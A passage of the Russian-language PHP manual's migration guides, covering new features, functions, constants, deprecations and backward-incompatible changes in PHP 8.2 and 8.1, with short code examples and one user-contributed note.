Теперь можно использовать null и false как самостоятельные типы.

Добавлен тип true.

Теперь можно комбинировать пересечение и объединение типов. Тип должен быть записан в виде DNF.

Константы в трейтах

Теперь в трейтах можно определять константы.

Классы, доступные только для чтения

Добавлена поддержка readonly для классов.

cURL

Добавлена опция CURLINFO_EFFECTIVE_METHOD, которая возвращает последний использованный метод HTTP в возвращаемом значении функции curl_getinfo().

Стало доступно множество новых констант из libcurl 7.62 - 7.80.

Добавлена функция curl_upkeep() для выполнения любых проверок восстановления соединения.

DBA

Драйвер LMDB теперь принимает флаги DBA_LMDB_USE_SUB_DIR или DBA_LMDB_NO_SUB_DIR, чтобы определить, должен ли он создавать подкаталог или нет при создании файла базы данных.

OCI8

Добавлены INI-директива oci8.prefetch_lob_size и функция oci_set_prefetch_lob() для настройки производительности LOB-запросов путём уменьшения количества обходов между PHP и базами данных Oracle при выборке LOBS. Её можно использовать с Oracle Database 12.2 или более поздней версией.

OpenSSL

Добавлена поддержка AEAD-алгоритма chacha20-poly1305.

ODBC

Добавлены функции odbc_connection_string_is_quoted(), odbc_connection_string_should_quote() и odbc_connection_string_quote(). В основном они используются внутри самих модулей ODBC и PDO_ODBC, но для облегчения модульного тестирования теперь доступны извне. Кроме этого, ими можно воспользоваться для экранирования строки из пользовательских приложений.

PCRE

Добавлена поддержка модификатора n (NO_AUTO_CAPTURE), который делает простые группы (xyz) не перехватываемыми. Перехватываются только именованные группы типа (?<name>xyz). Это влияет только на то, какие группы перехватываются, по-прежнему можно использовать нумерованные ссылки на подшаблоны и массив совпадений по-прежнему будет содержать нумерованные результаты.

Random

Это новый модуль, который организует и консолидирует существующие реализации, связанные с генераторами случайных чисел. В новых и улучшенных ГСЧ устранены проблемы, связанные с областью их применения.

User Contributed Notes

There are no user contributed notes for this page.


Новые функции

cURL

  • curl_upkeep()

IMAP

  • imap_is_open() (начиная с PHP 8.2.1)

MySQLi

  • mysqli_execute_query()

ODBC

  • odbc_connection_string_is_quoted()
  • odbc_connection_string_should_quote()
  • odbc_connection_string_quote()

OpenSSL

  • openssl_cipher_key_length()

Reflection

  • ReflectionFunction::isAnonymous()
  • ReflectionMethod::hasPrototype()

Sodium

XChaCha20

  • sodium_crypto_stream_xchacha20_xor_ic()

Стандартные функции

  • memory_reset_peak_usage()
  • ini_parse_quantity()

XML

  • libxml_get_external_entity_loader()

User Contributed Notes

There are no user contributed notes for this page.


Новые глобальные константы

COM

  • DISP_E_PARAMNOTFOUND
  • LOCALE_NEUTRAL

cURL

  • CURLALTSVC_H1 (libcurl >= 7.64.1)
  • CURLALTSVC_H2 (libcurl >= 7.64.1)
  • CURLALTSVC_H3 (libcurl >= 7.64.1)
  • CURLALTSVC_READONLYFILE (libcurl >= 7.64.1)
  • CURLAUTH_AWS_SIGV4 (libcurl >= 7.75.0)
  • CURLE_PROXY (libcurl >= 7.73.0)
  • CURLFTPMETHOD_DEFAULT
  • CURLHSTS_ENABLE (libcurl >= 7.74.0)
  • CURLHSTS_READONLYFILE (libcurl >= 7.74.0)
  • CURLINFO_PROXY_ERROR (libcurl >= 7.73.0)
  • CURLINFO_REFERER (libcurl >= 7.76.0)
  • CURLINFO_RETRY_AFTER (libcurl >= 7.66.0)
  • CURLMOPT_MAX_CONCURRENT_STREAMS (libcurl >= 7.67.0)
  • CURLOPT_ALTSVC_CTRL (libcurl >= 7.64.1)
  • CURLOPT_ALTSVC (libcurl >= 7.64.1)
  • CURLOPT_AWS_SIGV4 (libcurl >= 7.75.0)
  • CURLOPT_CAINFO_BLOB (libcurl >= 7.77.0)
  • CURLOPT_DOH_SSL_VERIFYHOST (libcurl >= 7.76.0)
  • CURLOPT_DOH_SSL_VERIFYPEER (libcurl >= 7.76.0)
  • CURLOPT_DOH_SSL_VERIFYSTATUS (libcurl >= 7.76.0)
  • CURLOPT_HSTS_CTRL (libcurl >= 7.74.0)
  • CURLOPT_HSTS (libcurl >= 7.74.0)
  • CURLOPT_MAIL_RCPT_ALLLOWFAILS (libcurl >= 7.69.0)
  • CURLOPT_MAXAGE_CONN (libcurl >= 7.65.0)
  • CURLOPT_MAXFILESIZE_LARGE
  • CURLOPT_MAXLIFETIME_CONN (libcurl >= 7.80.0)
  • CURLOPT_PROXY_CAINFO_BLOB (libcurl >= 7.77.0)
  • CURLOPT_SASL_AUTHZID (libcurl >= 7.66.0)
  • CURLOPT_SSH_HOST_PUBLIC_KEY_SHA256 (libcurl >= 7.80.0)
  • CURLOPT_SSL_EC_CURVES (libcurl >= 7.73.0)
  • CURLOPT_UPKEEP_INTERVAL_MS (libcurl >= 7.62.0)
  • CURLOPT_UPLOAD_BUFFERSIZE (libcurl >= 7.62.0)
  • CURLOPT_XFERINFOFUNCTION (libcurl >= 7.32.0)
  • CURLPROTO_MQTT (libcurl >= 7.71.0)
  • CURLPX_BAD_ADDRESS_TYPE (libcurl >= 7.73.0)
  • CURLPX_BAD_VERSION (libcurl >= 7.73.0)
  • CURLPX_CLOSED (libcurl >= 7.73.0)
  • CURLPX_GSSAPI (libcurl >= 7.73.0)
  • CURLPX_GSSAPI_PERMSG (libcurl >= 7.73.0)
  • CURLPX_GSSAPI_PROTECTION (libcurl >= 7.73.0)
  • CURLPX_IDENTD_DIFFER (libcurl >= 7.73.0)
  • CURLPX_IDENTD (libcurl >= 7.73.0)
  • CURLPX_LONG_HOSTNAME (libcurl >= 7.73.0)
  • CURLPX_LONG_PASSWD (libcurl >= 7.73.0)
  • CURLPX_LONG_USER (libcurl >= 7.73.0)
  • CURLPX_NO_AUTH (libcurl >= 7.73.0)
  • CURLPX_OK (libcurl >= 7.73.0)
  • CURLPX_RECV_ADDRESS (libcurl >= 7.73.0)
  • CURLPX_RECV_AUTH (libcurl >= 7.73.0)
  • CURLPX_RECV_CONNECT (libcurl >= 7.73.0)
  • CURLPX_RECV_REQACK (libcurl >= 7.73.0)
  • CURLPX_REPLY_ADDRESS_TYPE_NOT_SUPPORTED (libcurl >= 7.73.0)
  • CURLPX_REPLY_COMMAND_NOT_SUPPORTED (libcurl >= 7.73.0)
  • CURLPX_REPLY_CONNECTION_REFUSED (libcurl >= 7.73.0)
  • CURLPX_REPLY_GENERAL_SERVER_FAILURE (libcurl >= 7.73.0)
  • CURLPX_REPLY_HOST_UNREACHABLE (libcurl >= 7.73.0)
  • CURLPX_REPLY_NETWORK_UNREACHABLE (libcurl >= 7.73.0)
  • CURLPX_REPLY_NOT_ALLOWED (libcurl >= 7.73.0)
  • CURLPX_REPLY_TTL_EXPIRED (libcurl >= 7.73.0)
  • CURLPX_REPLY_UNASSIGNED (libcurl >= 7.73.0)
  • CURLPX_REQUEST_FAILED (libcurl >= 7.73.0)
  • CURLPX_RESOLVE_HOST (libcurl >= 7.73.0)
  • CURLPX_SEND_AUTH (libcurl >= 7.73.0)
  • CURLPX_SEND_CONNECT (libcurl >= 7.73.0)
  • CURLPX_SEND_REQUEST (libcurl >= 7.73.0)
  • CURLPX_UNKNOWN_FAIL (libcurl >= 7.73.0)
  • CURLPX_UNKNOWN_MODE (libcurl >= 7.73.0)
  • CURLPX_USER_REJECTED (libcurl >= 7.73.0)
  • CURLSSLOPT_AUTO_CLIENT_CERT (libcurl >= 7.77.0)
  • CURLSSLOPT_NATIVE_CA (libcurl >= 7.71.0)
  • CURLSSLOPT_NO_PARTIALCHAIN (libcurl >= 7.68.0)
  • CURLSSLOPT_REVOKE_BEST_EFFORT (libcurl >= 7.70.0)
  • CURL_VERSION_GSASL (libcurl >= 7.76.0)
  • CURL_VERSION_HSTS (libcurl >= 7.74.0)
  • CURL_VERSION_HTTP3 (libcurl >= 7.66.0)
  • CURL_VERSION_UNICODE (libcurl >= 7.72.0)
  • CURL_VERSION_ZSTD (libcurl >= 7.72.0)

DBA

  • DBA_LMDB_USE_SUB_DIR
  • DBA_LMDB_NO_SUB_DIR

Фильтр

  • FILTER_FLAG_GLOBAL_RANGE

Сокеты

Следующие опции сокетов теперь определяются, если они поддерживаются:

  • SO_INCOMING_CPU
  • SO_MEMINFO
  • SO_RTABLE (OpenBSD)
  • TCP_KEEPALIVE (MacOS)
  • TCP_KEEPCNT (Linux, другие)
  • TCP_KEEPIDLE (Linux, другие)
  • TCP_KEEPINTVL (Linux, другие)
  • TCP_NOTSENT_LOWAT
  • LOCAL_CREDS_PERSISTENT (FreeBSD)
  • SCM_CREDS2 (FreeBSD)
  • LOCAL_CREDS (NetBSD)
  • SO_BPF_EXTENSIONS
  • SO_SETFIB
  • TCP_CONGESTION (Linux, FreeBSD)
  • SO_ZEROCOPY (Linux)
  • MSG_ZEROCOPY (Linux)

User Contributed Notes

There are no user contributed notes for this page.


Изменения, ломающие обратную совместимость

Date

У метода DateTime::createFromImmutable() теперь предварительный возвращаемый тип static, ранее возвращаемый тип был DateTime.

У метода DateTimeImmutable::createFromMutable() теперь предварительный возвращаемый тип static, ранее возвращаемый тип был DateTimeImmutable.

Символы number в относительных форматах больше не принимают несколько знаков, например, +-2.

ODBC

Модуль ODBC теперь экранирует имя пользователя и пароль в случае, если передаётся строка соединения вместе с именем пользователя/паролем, тогда строка соединения будет изменена. Раньше при использовании пользовательских значений, нуждающихся в экранировании, могли сгенерировать неправильную строку соединения или вставить значения из данных, полученных от пользователя. Правила экранирования должны быть идентичны поведению .NET BCL DbConnectionOptions.

PDO_ODBC

Модуль PDO_ODBC также экранирует имя пользователя и пароль при передаче строки подключения. Дополнительные сведения смотрите в разделе изменение модуля ODBC.

Стандартные функции

Функция glob() теперь возвращает пустой массив (array), если все пути находятся вне пределов директории, определённой в open_basedir. Ранее функция возвращала false. Более того, предупреждение теперь выдаётся, даже если только некоторые пути ограничены с помощью директивы open_basedir.

Метод FilesystemIterator::__construct(): до версии PHP 8.2.0 константа FilesystemIterator::SKIP_DOTS была установлена всегда и не могла быть отключена. Для сохранения прежнего поведения константа должна быть явно установлена при использовании параметра flags. Значение по умолчанию параметра flags не было изменено.

Функции strtolower(),
strtoupper(),
stristr(),
stripos(),
strripos(),
lcfirst(),
ucfirst(),
ucwords()
и str_ireplace() больше не чувствительны к локализации.
Теперь они выполняют преобразование регистра ASCII, как если бы локаль была "C".
Локализованные версии этих функций доступны в модуле MBString.
Более того, функция array_change_key_case() и сортировка
с помощью SORT_FLAG_CASE теперь также используют преобразование регистра ASCII.

Функция str_split() теперь возвращает пустой массив (array), если была вызвана с пустой строки (string). Ранее она возвращала массив с одной пустой строкой. На функцию mb_str_split() это изменение не влияет, так как она уже работала подобным образом.

Функции ksort() и krsort() теперь выполняют сравнение числовых строк при SORT_REGULAR, используя стандартные правила PHP 8.

Функция var_export() больше не опускает ведущий обратный слеш для экспортируемых классов, т.е. они теперь полностью квалифицированы.

Стандартная библиотека PHP (SPL)

Следующие методы теперь усиливают свою сигнатуру:

  • SplFileInfo::_bad_state_ex()
  • SplFileObject::getCsvControl()
  • SplFileObject::fflush()
  • SplFileObject::ftell()
  • SplFileObject::fgetc()
  • SplFileObject::fpassthru()

У метода SplFileObject::hasChildren() теперь предварительный возвращаемый тип false, ранее он был bool.

У метода SplFileObject::getChildren() теперь предварительный возвращаемый тип null, ранее он был ?RecursiveIterator.

Класс GlobIterator теперь возвращает пустой массив (array), если все пути находятся вне пределов директории, заданной в open_basedir. Ранее он возвращал false. Более того, теперь выдаётся предупреждение, даже если только некоторые из путей находятся за пределами open_basedir.

User Contributed Notes

There are no user contributed notes for this page.


Устаревшая функциональность

Ядро PHP

Использование динамических свойств

Создание динамических свойств объявлено устаревшим, за исключением, если класс не обрабатывает их использование с помощью атрибута #[\AllowDynamicProperties]. На экземплярах stdClass по-прежнему можно использовать динамические свойства. Изменение не влияет на использование магических методов __get()/__set(). Предупреждение об устаревании динамических свойств можно устранить с помощью:

  • Объявления свойства (лучше всего).
  • Добавления атрибута #[\AllowDynamicProperties] к классу (который также применяется ко всем дочерним классам).
  • Использования WeakMap, если необходимо связать дополнительные данные с объектом, который не принадлежит пользователю.

Вызовы методов с относительным именем

Вызываемые методы, не соответствующие синтаксису $callable() (но работают с call_user_func()), объявлены устаревшими. В частности:

  • "self::method"
  • "parent::method"
  • "static::method"
  • ["self", "method"]
  • ["parent", "method"]
  • ["static", "method"]
  • ["Foo", "Bar::method"]
  • [new Foo, "Bar::method"]
Это изменение не влияет на обычные вызываемые методы, такие как "A::method" или ["A", "method"].

Интерполяция вида "${var}" и "${expr}"

Стиль интерполяции строк "${var}" и "${expr}" объявлен устаревшим. Используйте "$var"/"{$var}" и "{${expr}}" соответственно.

MBString

Использование кодировок текста QPrint, Base64, Uuencode и HTML-ENTITIES объявлено устаревшим для всех функций MBString. В отличие от остальных текстовых кодировок, поддерживаемых MBString, эти кодировки не кодируют последовательность кодовых точек Unicode, а только последовательность необработанных байтов. Неясно, какими должны быть правильные возвращаемые значения для большинства функций MBString, если указана одна из этих кодировок. Более того, в PHP есть встроенные реализации всех этих кодировок; например, UU-закодированные данные можно обрабатывать с помощью функций convert_uuencode()/convert_uudecode().

SPL

Внутренний метод SplFileInfo::_bad_state_ex() объявлен устаревшим.

Стандартные функции

Функции utf8_encode() и utf8_decode() объявлены устаревшими.

User Contributed Notes

tabflo at gmx dot at 13-Jul-2023 01:43
a have a baseclass for all databasemodels and handle my dynamic property setter and getter this way:

    public array $dynamicProperties = [];

    public function __set(string $name, mixed $value) {
        if(property_exists($this, $name))
            $this->{$name} = $value;
        else
            $this->dynamicProperties[$name] = $value;
    }

    public function __get(string $name) {
        if(property_exists($this, $name))
            return $this->$name;
        else
            return $this->dynamicProperties[$name];
    }

just put the content into a class and extend from it. enjoy :)


Другие изменения

Изменения в ядре

Тип iterable теперь является встроенным во время компиляции псевдонимом для array|Traversable. Поэтому сообщения об ошибках, связанных с типом iterable, будут теперь будут использовать сигнатуру array|Traversable. Тип Reflection сохраняется для одиночного iterable (и ?iterable) для создания ReflectionNamedType с именем iterable, однако использование iterable в объединениях типов будет преобразовано в array|Traversable.

Формат даты отправляемых файлов cookie теперь 'D, d M Y H:i:s \G\M\T'; ранее он был 'D, d-M-Y H:i:s T'.

Изменения в модулях SAPI

CLI

Потоки STDOUT, STDERR и STDIN больше не закрываются при уничтожении ресурсов, что чаще всего происходит при завершении работы CLI. Однако по-прежнему можно явно закрыть эти потоки с помощью функции fclose() и подобных функций.

Изменённые функции

Ядро PHP

Функции strcmp(), strcasecmp(),
strncmp(), strncasecmp() и
substr_compare(), использующие бинарное безопасное сравнение строк,
теперь возвращают -1, 0 и 1.

DBA

У функции dba_open() и dba_popen() теперь следующая принудительная сигнатура:

dba_open(
string $path,
string $mode,
?string $handler = null,
int $permission = 0644,
int $map_size = 0,
?int $flags = null
): resource|false

Необязательный аргумент skip функции dba_fetch() теперь находится в конце в соответствии с семантикой пользовательского пространства PHP. Теперь его сигнатура выглядит следующим образом:

dba_fetch(string|array $key, resource $handle, int $skip): string|false
Предыдущая сигнатура:
dba_fetch(string|array $key, int $skip, resource $handle): string|false
по-прежнему принимается, но рекомендуется использовать новый стандартный вариант.

Random

Функции random_bytes() и random_int() теперь выбрасывают исключение \Random\RandomException в случае возникновения ошибок CSPRNG. Ранее вместо этого выбрасывалось обычное исключение \Exception.

SPL

Параметр iterator функций iterator_to_array() и iterator_count() расширен до iterable из Iterator, позволяя передавать массивы.

Другие изменения в модулях

Date

Свойства DatePeriod теперь объявлены правильно.

Intl

Экземпляры IntlBreakIterator, IntlRuleBasedBreakIterator, IntlCodePointBreakIterator, IntlPartsIterator, IntlCalendar, Collator, IntlIterator, UConverter, IntlDateFormatter, IntlDatePatternGenerator, MessageFormatter, ResourceBundle, Spoofchecker, IntlTimeZone и Transliterator больше не являются сериализуемыми. Ранее их можно было сериализовать, но при десериализации получались непригодные объекты или возникали ошибки.

MySQLi

Поддержка libmysql была удалена и теперь невозможно скомпилировать mysqli с libmysql. С этого момента модуль mysqli можно компилировать только с помощью mysqlnd. Все функции libmysql, недоступные в mysqlnd, были удалены:

  • Свойство reconnect для mysqli_driver
  • INI-директива mysqli.reconnect
  • Константа MYSQLI_IS_MARIADB устарела

OCI8

Минимальная необходимая версия библиотеки Oracle Client теперь 11.2.

PCRE

Теперь поддерживаются символы NUL (\0) в строках шаблонов.

Сессия

Попытка изменить INI-директиву session.cookie_samesite, когда сессия активна или вывод уже отправлен, теперь будет неудачной и выдаст предупреждение. Это изменение унифицирует поведение по аналогии со всеми другими настройками INI-директив сессии.

SQLite3

sqlite3.defensive теперь INI_USER.

Стандартные функции

Функция getimagesize() теперь сообщает фактические размеры, биты и каналы изображений AVIF. Ранее размеры сообщались как 0x0, а биты и каналы вообще не сообщались.

Tidy

Свойства класса tidy теперь объявлены правильно. А свойства класса tidyNode теперь правильно объявлены как доступные только для чтения.

Zip

Модуль Zip был обновлён до версии 1.20.0, в которой добавлены следующие методы:

  • ZipArchive::clearError()
  • ZipArchive::getStreamName()
  • ZipArchive::getStreamIndex()

Изменения в работе с INI-файлами

К целочисленным INI-параметрам добавлена поддержка двоичных (0b/0B) и восьмеричных (0o/0O) префиксов. Целочисленные INI-параметры, начинающиеся с нуля (0), продолжают интерпретироваться как восьмеричное целое число.

При разборе некоторых неправильно отформатированных значений теперь будет выдаваться предупреждение, если раньше это молча игнорировалось. Для обратной совместимости интерпретация этих значений не изменилась. Это влияет на следующие настройки:

  • bcmath.scale
  • com.code_page
  • default_socket_timeout
  • fiber.stack_size
  • hard_timeout
  • intl.error_level
  • ldap.max_links
  • max_input_nesting_level
  • max_input_vars
  • mbstring.regex_retry_limit
  • mbstring.regex_stack_limit
  • mysqli.allow_local_infile
  • mysqli.allow_persistent
  • mysqli.default_port
  • mysqli.max_links
  • mysqli.max_persistent
  • mysqli.rollback_on_cached_plink
  • mysqlnd.log_mask
  • mysqlnd.mempool_default_size
  • mysqlnd.net_read_buffer_size
  • mysqlnd.net_read_timeout
  • oci8.default_prefetch
  • oci8.max_persistent
  • oci8.persistent_timeout
  • oci8.ping_interval
  • oci8.prefetch_lob_size
  • oci8.privileged_connect
  • oci8.statement_cache_size
  • odbc.allow_persistent
  • odbc.check_persistent
  • odbc.max_persistent
  • odbc.max_links
  • odbc.defaultbinmode
  • odbc.default_cursortype
  • odbc.defaultlrl
  • opcache.consistency_checks
  • opcache.file_update_protection
  • opcache.force_restart_timeout
  • opcache.interned_strings_buffer
  • opcache.jit_bisect_limit
  • opcache.jit_blacklist_root_trace
  • opcache.jit_blacklist_side_trace
  • opcache.jit_debug
  • opcache.jit_hot_func
  • opcache.jit_hot_loop
  • opcache.jit_hot_return
  • opcache.jit_hot_side_exit
  • opcache.jit_max_exit_counters
  • opcache.jit_max_loop_unrolls
  • opcache.jit_max_polymorphic_calls
  • opcache.jit_max_recursive_calls
  • opcache.jit_max_recursive_returns
  • opcache.jit_max_root_traces
  • opcache.jit_max_side_traces
  • opcache.log_verbosity_level
  • opcache.max_file_size
  • opcache.opt_debug_level
  • opcache.optimization_level
  • opcache.revalidate_freq
  • output_buffering
  • pcre.backtrack_limit
  • pcre.recursion_limit
  • pgsql.max_links
  • pgsql.max_persistent
  • post_max_size
  • realpath_cache_size
  • realpath_cache_ttl
  • session.cache_expire
  • session.cookie_lifetime
  • session.gc_divisor
  • session.gc_maxlifetime
  • session.gc_probability
  • soap.wsdl_cache_limit
  • soap.wsdl_cache_ttl
  • unserialize_max_depth
  • upload_max_filesize
  • user_ini.cache_ttl
  • xmlrpc_error_number
  • zend.assertions
  • zlib.output_compression_level

User Contributed Notes

There are no user contributed notes for this page.


Поддержка Windows

Ядро

Сообщения об ошибках, специфичных для Windows, больше не локализуются, а всегда отображаются на английском языке, чтобы лучше соответствовать сообщениям об ошибках PHP.

Добавлена предварительная и экспериментальная поддержка сборки на ARM64.

OCI8

Поскольку сборка на Oracle Client 10g больше не поддерживается, опция конфигурации --with-oci8 была исключена. Опции конфигурации --with-oci8-11g, --with-oci8-12c и --with-oci8-19 по-прежнему поддерживаются.

Zip

Модуль Zip обновлён до версии 1.21.0 и теперь по умолчанию собирается как разделяемая библиотека (DLL).

User Contributed Notes

There are no user contributed notes for this page.


Миграция с PHP 8.0.x на PHP 8.1.x

Содержание

  • Новая функциональность
  • Новые классы и интерфейсы
  • Новые функции
  • Новые глобальные константы
  • Изменения, ломающие обратную совместимость
  • Устаревшая функциональность
  • Другие изменения

Эта новая минорная версия приносит ряд новых возможностей и несовместимостей, которые требуется протестировать перед переключением версий PHP в производственных средах.

Смотрите также руководство по миграции для версий PHP 7.1.x, 7.2.x, 7.3.x, 7.4.x, 8.0.x.

User Contributed Notes

There are no user contributed notes for this page.


Новая функциональность

Ядро PHP

Буквенный префикс восьмеричных целых чисел

Восьмеричные целые числа теперь могут использовать явный префикс 0o/0O в целочисленных литералах, аналогично двоичным и шестнадцатеричным целочисленным литералам.

<?php
014; // Восьмеричный литерал без префикса
0o14; // Восьмеричный литерал с префиксом
?>

Распаковка массива с помощью строковых ключей

Добавлена поддержка распаковки массивов со строковыми ключами.

<?php
$arr1 = [1, 'a' => 'b'];
$arr2 = [...$arr1, 'c' => 'd']; //[1, 'a' => 'b', 'c' => 'd']
?>

Именованный аргумент после распаковки аргумента

Теперь можно указать именованные аргументы после распаковки аргументов. например: foo(...$args, named: $arg).

Ключ с полным путём при загрузке файлов

При загрузке файлов появился новый ключ full_path, который содержит полный путь (а не только относительный) загруженного файла. Предназначен для использования вместе с HTML-атрибутом webkitdirectory.

Перечисления

Добавлена поддержка перечислений.

Файберы

Добавлена поддержка файберов.

Callback-функции как объекты первого класса

Замыкания для callback-функций теперь можно создавать с помощью синтаксиса myFunc(...), который идентичен синтаксису Closure::fromCallable('myFunc').

Замечание: ... является частью синтаксиса, а не пропуском.

Пересечение типов

Добавлена поддержка пересечения типов.

Предостережение

Пересечения типов нельзя использовать вместе с объединением типов.

Тип never

Добавлен новый тип возвращаемого значения never. Тип указывает на то, что функция либо вызывает exit(), либо выбрасывает исключение, либо не завершается.

new в инициализации класса

Теперь можно использовать выражения new ClassName() в качестве значения по умолчанию для параметра, статической переменной, инициализаторов глобальных констант и в качестве аргументов атрибутов. Теперь объекты также можно передавать в define().

Readonly-свойства

Добавлена поддержка readonly-свойств.

Окончательные константы класса

Добавлена поддержка модификатора final при определении констант класса. Кроме того, константы интерфейса по умолчанию становятся переопределяемыми.

CURL

Добавлена опция CURLOPT_DOH_URL.

Добавлены параметры для сертификата BLOB-объекта, доступные с libcurl >= 7.71.0:

  • CURLOPT_ISSUERCERT_BLOB
  • CURLOPT_PROXY_ISSUERCERT
  • CURLOPT_PROXY_ISSUERCERT_BLOB
  • CURLOPT_PROXY_SSLCERT_BLOB
  • CURLOPT_PROXY_SSLKEY_BLOB
  • CURLOPT_SSLCERT_BLOB
  • CURLOPT_SSLKEY_BLOB

Добавлен класс CURLStringFile, который можно использовать для отправки файла из строки (string), а не из файла:

<?php
$file = new CURLStringFile($data, 'filename.txt', 'text/plain');
curl_setopt($curl, CURLOPT_POSTFIELDS, ['file' => $file]);
?>

FPM

Добавлен формат статуса openmetrics. Prometheus может использовать его для получения метрик FPM.

Добавлен новый пул для диспетчера динамических процессов под названием pm.max_spawn_rate. Он позволяет запускать несколько дочерних процессов более быстрыми темпами, если выбран динамический pm. Значение по умолчанию - 32, которое ранее было фиксированным значением.

GD

Поддержка Avif теперь доступна с помощью imagecreatefromavif() и imageavif(), если libgd был собран с поддержкой Avif.

Hash

Следующие функции hash(), hash_file() и hash_init() теперь поддерживают дополнительный необязательный аргумент options, который можно использовать для передачи специфичных для алгоритма данных.

MurmurHash3

Добавлена поддержка MurmurHash3 с поддержкой потоковой передачи. Реализованы следующие варианты:

  • murmur3a, 32-битный хеш
  • murmur3c, 128-битный хеш для x86
  • murmur3f, 128-битный хеш для x64

Начальное состояние хеширования можно передать с помощью ключа seed в массиве options, например:

<?php
$h = hash("murmur3f", $data, options: ["seed" => 42]);
echo $h, "\n";
?>
Допустимое начальное значение находится в диапазоне от 0 до определённого платформой значения UINT_MAX, обычно - 4294967295.

xxHash

Добавлена поддержка xxHash. Реализованы следующие варианты:

  • xxh32, 32-bit hash
  • xxh64, 64-bit hash
  • xxh3, 64-bit hash
  • xxh128, 128-bit hash

Начальное состояние хеширования можно передать с помощью ключа seed в массиве options, например:

<?php
$h = hash("xxh3", $data, options: ["seed" => 42]);
echo $h, "\n";
?>
Использование секрета также поддерживается путём передачи ключа secret в массиве options:
<?php
$h = hash("xxh3", $data, options: ["secret" => "как минимум 136 байт секрета"]);
echo $h, "\n";
?>
Качество пользовательского секрета имеет решающее значение для качества хеша результата. Для секрета настоятельно рекомендуется использовать максимально возможную энтропию.

MySQLi

Новая INI-директива mysqli.local_infile_directory

Добавлена INI-директива mysqli.local_infile_directory, с помощью которой можно указать каталог, из которого разрешена загрузка файлов. Это имеет смысл, только если mysqli.allow_local_infile не включён, поскольку в этом случае разрешены все каталоги.

Привязка параметров во время выполнении

Теперь можно привязывать параметры, передав их в виде массива в mysqli_stmt::execute(). Все значения будут привязаны как строки. Разрешены только списочные массивы. Эта новая функция недоступна, если MySQLi скомпилирован с libmysqlclient.

<?php
$stmt = $mysqli->prepare('INSERT INTO users(id, name) VALUES(?,?)');
$stmt->execute([1, $username]);
?>

Новый метод mysqli_result::fetch_column()

Добавлен mysqli_result::fetch_column() для выборки единственного скалярного значения из набора результатов. Новый метод принимает необязательный параметр column, начинающийся с 0, в виде целого числа (int), указывающий из какого столбца производить выборку.

<?php
$result = $mysqli->query('SELECT username FROM users WHERE id = 123');
echo $result->fetch_column();
?>

PDO

Добавлен атрибут PDO::MYSQL_ATTR_LOCAL_INFILE_DIRECTORY, который можно использовать для указания каталога, из которого могут быть загружены файлы. Это имеет смысл только в том случае, если PDO::MYSQL_ATTR_LOCAL_INFILE не включён, поскольку в этом случае разрешены все каталоги.

PDO_SQLite

Поддерживается новый элемент "file:" в DSN-префиксе SQLite, который позволяет указывать дополнительные флаги. Он не будет работать, если включена опция open_basedir.

<?php
new PDO('sqlite:file:path/to/sqlite.db?mode=ro')
?>

POSIX

Добавлены константы POSIX_RLIMIT_KQUEUES и POSIX_RLIMIT_NPTS. Эти ограничения доступны только во FreeBSD.

Стандартные функции

fputcsv() теперь принимает новый аргумент eol, который позволяет определять настраиваемую последовательность конца строки, значение по умолчанию остаётся прежним - "\n".

SPL

SplFileObject::fputcsv() теперь принимает новый аргумент eol, который позволяет определять настраиваемую последовательность конца строки, значение по умолчанию остаётся прежним - "\n".

User Contributed Notes

There are no user contributed notes for this page.


Новые классы и интерфейсы

cURL

  • CURLStringFile

Intl

  • IntlDatePatternGenerator

Reflection

  • ReflectionFiber

User Contributed Notes

There are no user contributed notes for this page.


Новые функции

Ядро PHP

  • array_is_list()

GD

  • imagecreatefromavif()
  • imageavif()

MySQLi

  • mysqli_result::fetch_column()
  • mysqli_fetch_column()

Управление процессами

  • pcntl_rfork()

Reflection

  • ReflectionFunctionAbstract::getClosureUsedVariables()

Стандартные функции

  • fsync()
  • fdatasync()

Sodium

XChaCha20

  • sodium_crypto_stream_xchacha20()
  • sodium_crypto_stream_xchacha20_keygen()
  • sodium_crypto_stream_xchacha20_xor()

Ristretto255

Функции Ristretto255 доступны начиная с libsodium 1.0.18.

  • sodium_crypto_core_ristretto255_add()
  • sodium_crypto_core_ristretto255_from_hash()
  • sodium_crypto_core_ristretto255_is_valid_point()
  • sodium_crypto_core_ristretto255_random()
  • sodium_crypto_core_ristretto255_scalar_add()
  • sodium_crypto_core_ristretto255_scalar_complement()
  • sodium_crypto_core_ristretto255_scalar_invert()
  • sodium_crypto_core_ristretto255_scalar_mul()
  • sodium_crypto_core_ristretto255_scalar_negate()
  • sodium_crypto_core_ristretto255_scalar_random()
  • sodium_crypto_core_ristretto255_scalar_reduce()
  • sodium_crypto_core_ristretto255_scalar_sub()
  • sodium_crypto_core_ristretto255_sub()
  • sodium_crypto_scalarmult_ristretto255()
  • sodium_crypto_scalarmult_ristretto255_base()

User Contributed Notes

There are no user contributed notes for this page.


Новые глобальные константы

cURL

  • CURLOPT_DOH_URL
  • CURLOPT_ISSUERCERT_BLOB
  • CURLOPT_PROXY_ISSUERCERT
  • CURLOPT_PROXY_ISSUERCERT_BLOB
  • CURLOPT_PROXY_SSLCERT_BLOB
  • CURLOPT_PROXY_SSLKEY_BLOB
  • CURLOPT_SSLCERT_BLOB
  • CURLOPT_SSLKEY_BLOB

GD

  • IMG_AVIF
  • IMG_WEBP_LOSSLESS

MySQLi

  • MYSQLI_REFRESH_REPLICA

    Эта новая константа была добавлена для замены MYSQLI_REFRESH_SLAVE в соответствии с политикой самого MySQL, отказавшегося от использования слова "slave". Старая константа по-прежнему доступна для обратной совместимости, но может быть объявлена устаревшей/удалена в будущем.

PCNTL

  • PRIO_DARWIN_BG
  • PRIO_DARWIN_THREAD

POSIX

  • POSIX_RLIMIT_KQUEUES
  • POSIX_RLIMIT_NPTS

Сокеты

Доступны следующие параметры сокета, при условии, что они поддерживаются в системе:

  • SO_ACCEPTFILTER
  • SO_DONTTRUNC
  • SO_WANTMORE
  • SO_MARK
  • TCP_DEFER_ACCEPT

Sodium

  • SODIUM_CRYPTO_STREAM_XCHACHA20_NONCEBYTES
  • SODIUM_CRYPTO_STREAM_XCHACHA20_KEYBYTES
  • SODIUM_CRYPTO_SCALARMULT_RISTRETTO255_BYTES
  • SODIUM_CRYPTO_SCALARMULT_RISTRETTO255_SCALARBYTES
  • SODIUM_CRYPTO_CORE_RISTRETTO255_BYTES
  • SODIUM_CRYPTO_CORE_RISTRETTO255_HASHBYTES
  • SODIUM_CRYPTO_CORE_RISTRETTO255_SCALARBYTES
  • SODIUM_CRYPTO_CORE_RISTRETTO255_NONREDUCEDSCALARBYTES

Лексер (Tokenizer)

  • T_READONLY

User Contributed Notes

There are no user contributed notes for this page.


